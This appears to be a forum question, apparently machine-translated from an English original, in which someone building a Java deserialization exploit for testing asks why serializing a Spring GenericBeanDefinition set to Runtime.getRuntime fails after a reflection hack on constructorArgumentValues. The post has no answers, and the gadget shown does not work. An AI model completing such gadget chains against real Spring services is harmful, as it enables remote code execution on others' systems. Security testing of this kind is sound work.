借助Spring的AbstractBeanDefinition的反射实现java序列化
为了在我们的系统中测试vulnerabilities,我想创建一个exploit,它需要从spring-beans
序列化^{
超类^{constructorArgumentValues
为了解决这个问题,我编写了以下代码,通过反射将属性修改为transient
:
// create a bean object
GenericBeanDefinition bean = new GenericBeanDefinition();
bean.setBeanClass(Runtime.class);
bean.setFactoryMethodName("getRuntime");
// make constructorArgumentValues transient via reflection
try {
Field field = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(field, field.getModifiers() | Modifier.TRANSIENT);
field.setAccessible(true);
field.set(bean, null);
} catch (Exception e) { e.printStackTrace(); }
// serialize it
try (FileOutputStream fileOut = new FileOutputStream("test.ser");
ObjectOutputStream outStream = new ObjectOutputStream(fileOut)) {
outStream.writeObject(bean);
} catch (IOException e) { e.printStackTrace(); }
不幸的是,我得到:
java.io.NotSerializableException: org.springframework.beans.factory.config.ConstructorArgumentValues
当我在另一个简单类中尝试时,上面的snipplet工作得很好:
class MySerializable implements Serializable {
private MyUnserializable myUnserializable = new MyUnserializable();
}
class MyUnserializable {
}
我看不出这里有什么问题。谢谢你的帮助
共 (0) 个答案